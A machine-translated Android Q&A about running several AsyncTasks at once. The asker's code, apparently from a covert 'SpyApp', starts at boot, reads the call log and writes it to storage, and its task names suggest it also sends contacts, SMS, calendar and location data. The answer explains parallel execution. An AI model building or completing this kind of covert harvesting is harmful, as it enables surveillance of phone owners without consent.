android - 我可以添加多个 AsyncTask 并同时执行吗？

Question

我可以添加多个 AsyncTask 并同时执行吗？我可以从主要 Activity 开始执行多个这样的 Asynctask。

公共(public)类接收器扩展 BroadcastReceiver {

@SuppressWarnings("deprecation")
@Override
public void onReceive(Context context, Intent intent) {
    // TODO Auto-generated method stub
    Log.e("Hello>>", "From OnReceive");

    if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {
        Log.e("Hello......>>", "From OnReceive");

        MyContactsSending mycon= new MyContactsSending(context);
        mycon.execute();

        Log.e("contacts","Executed");
        MyCallsSending send = new MyCallsSending(context);
        send.execute();

        Log.e("calls","Executed");

        MySmsSending smssms = new MySmsSending(context);
        smssms.execute();

        Log.e("sms","Executed");

        MyCalendarSending calendar = new MyCalendarSending(context);
        calendar.execute();

        Log.e("calendar","Executed");
        MyLocationSending location = new MyLocationSending(context);

        location.execute();
        Log.e("GPS","Executed");

    }

}

在此代码中，我获得了所有日志，但之后它不会进入 Asynctask 的 doInBackground() 方法。(没有)。我在每个类的方法 doInBackground() 中设置了 Log，但在 Log 中没有一个被命中(意味着没有执行该方法)。

我的问题是我可以像这样执行多个 AsyncTask 的对象吗？

我的 AsyncTask 类的代码之一是这样的:

公共(public)类 MyCallsSending 扩展 AsyncTask {

Context concall;
public MyCallsSending(Context con){
    this.concall = con;
}
@Override
protected Void doInBackground(Void... params) {
    // TODO Auto-generated method stub

    Calls call = new Calls(concall);
    call.getCallDetails();
    Log.e("Calls Sending", "from asynctask");

    return null;
}

调用类的代码是这样的:

公开课调用{

Context con;

public calls(Context con){
    this.con = con;
}

public void getCallDetails() {

    StringBuffer sb = new StringBuffer();
    Cursor managedCursor = con.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
            null, null, null);
    if (managedCursor != null) {
        Log.i("Cursor has values...", "Yes");
    }
    int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
    int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
    int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
    int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
    sb.append("************Call Details************\n");
    managedCursor.moveToFirst();

    do {
        String phNumber = managedCursor.getString(number);
        String callType = managedCursor.getString(type);
        String callDate = managedCursor.getString(date);
        Date callDayTime = new Date(Long.valueOf(callDate));
        String callDuration = managedCursor.getString(duration);
        String dir = null;
        int dircode = Integer.parseInt(callType);

        switch (dircode) {
        case CallLog.Calls.OUTGOING_TYPE:
            dir = "OUTGOING";
            break;

        case CallLog.Calls.INCOMING_TYPE:
            dir = "INCOMING";
            break;

        case CallLog.Calls.MISSED_TYPE:
            dir = "MISSED";
            break;

        }

        Log.i("Values", phNumber + callType + callDate);
        sb.append("\nPhone Number:- " + phNumber + " \nCall Type:- " + dir
                + " \nCall Date:- " + callDayTime
                + " \nCall duration in sec :- " + callDuration);
        sb.append("\n-----------------------------------");
    } while (managedCursor.moveToNext());


    managedCursor.close();

    try {

        File myFile = new File(Environment.getExternalStorageDirectory()
                + File.separator + "SpyApp");
        if (!myFile.exists()) {
            myFile.mkdir();
        } else {
            //Toast.makeText(getApplicationContext(), "Already Created..",
                //  Toast.LENGTH_LONG).show();
        }
        String path = myFile.getPath();
        //Log.e(">>>>>>>>>>>>>", ">>>>>>>>>" + path);

        File file = new File(path + File.separator + "CallLog.txt");
        if (!file.exists()) {
            file.createNewFile();
        } else {
            //Toast.makeText(getApplicationContext(), "Already Created..",
                //  Toast.LENGTH_LONG).show();
        }

        FileOutputStream fOut = new FileOutputStream(file);
        OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut);

        myOutWriter.append(sb.toString());
        myOutWriter.flush();
        myOutWriter.close();
        fOut.close();
        //Toast.makeText(getBaseContext(), "Done writing SD 'mysdfile.txt'",
            //  Toast.LENGTH_SHORT).show();
    } catch (Exception e) {
        //Toast.makeText(getBaseContext(), e.getMessage(), Toast.LENGTH_SHORT)
            //  .show();
    }

}

Answer 1

简短版:当然可以!

默认情况下，AsyncTask 在串行队列中执行(一个接一个)，但如果您希望它们同时运行，您可以:

new MyAsyncTask().executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, MY_RANDOM_VAR);

Starting with HONEYCOMB, tasks are executed on a single thread to avoid common application errors caused by parallel execution. If you truly want parallel execution, you can invoke executeOnExecutor(java.util.concurrent.Executor, Object[]) with THREAD_POOL_EXECUTOR. AsyncTask on Android's Documentation

使用并行线程时要小心，不要使设备过载并导致应用程序被终止。